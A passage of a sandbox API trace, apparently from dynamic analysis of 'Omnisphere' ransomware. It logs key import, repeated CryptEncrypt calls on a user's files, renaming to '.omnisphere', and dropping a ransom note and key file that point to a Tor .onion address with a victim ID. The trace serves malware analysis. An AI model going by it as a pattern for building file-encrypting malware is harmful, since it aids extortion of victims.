pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.347] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.347] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0128.347] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x600, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.347] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.348] GetProcessHeap () returned 0x1600000 [0128.348] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1712478 [0128.348] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\d3d1f068cfd9230e.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\d3d1f068cfd9230e.automaticdestinations-ms.omnisphere")) returned 1 [0128.349] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms.omnisphere.id" [0128.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\d3d1f068cfd9230e.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.350] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.351] CloseHandle (hObject=0x388) returned 1 [0128.351] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.351] CloseHandle (hObject=0x3c0) returned 1 [0128.351] SetEndOfFile (hFile=0x288) returned 1 [0128.351] FlushFileBuffers (hFile=0x288) returned 1 [0128.358] CloseHandle (hObject=0x288) returned 1 [0128.358] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\d3d1f068cfd9230e.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.358] GetProcessHeap () returned 0x1600000 [0128.358] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fd6b0 [0128.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.359] GetProcessHeap () returned 0x1600000 [0128.359] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f2090 [0128.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f2090, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.359] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.359] GetProcessHeap () returned 0x1600000 [0128.359] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17102e0 [0128.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17102e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.359] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.359] GetProcessHeap () returned 0x1600000 [0128.359] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fb1b0 [0128.359] PathCombineW (in: pszDest=0x16fb1b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.359] GetProcessHeap () returned 0x1600000 [0128.359] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170dc28 [0128.359] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.360] WriteFile (in: hFile=0x288, lpBuffer=0x170dc28*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170dc28*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.360] CloseHandle (hObject=0x288) returned 1 [0128.360] GetProcessHeap () returned 0x1600000 [0128.360] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fd6b0 | out: hHeap=0x1600000) returned 1 [0128.360] GetProcessHeap () returned 0x1600000 [0128.360] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.360] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.360] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.361] CloseHandle (hObject=0x288) returned 1 [0128.361] GetProcessHeap () returned 0x1600000 [0128.361] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.361] GetProcessHeap () returned 0x1600000 [0128.361] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.361] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf981f92, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbf981f92, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x23027aca, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0xcc, cFileName="f01b4d95cf55d32a.automaticDestinations-ms", cAlternateFileName="F01B4D~1.AUT")) returned 1 [0128.361] GetProcessHeap () returned 0x1600000 [0128.361] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.361] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="f01b4d95cf55d32a.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms" [0128.361] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.361] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\f01b4d95cf55d32a.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.362] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=42496) returned 1 [0128.362] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xa0dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.362] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.362] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] GetTickCount () returned 0x1160065 [0128.363] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668ce0) returned 1 [0128.364] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639628) returned 1 [0128.364] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.364] CryptDestroyKey (hKey=0x1639628) returned 1 [0128.364] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0128.364] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa600, lpName=0x0) returned 0x3c0 [0128.364] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa600) returned 0x1480000 [0128.365] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668c58) returned 1 [0128.366] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16395e8) returned 1 [0128.366] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.366] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.367] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.368] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, 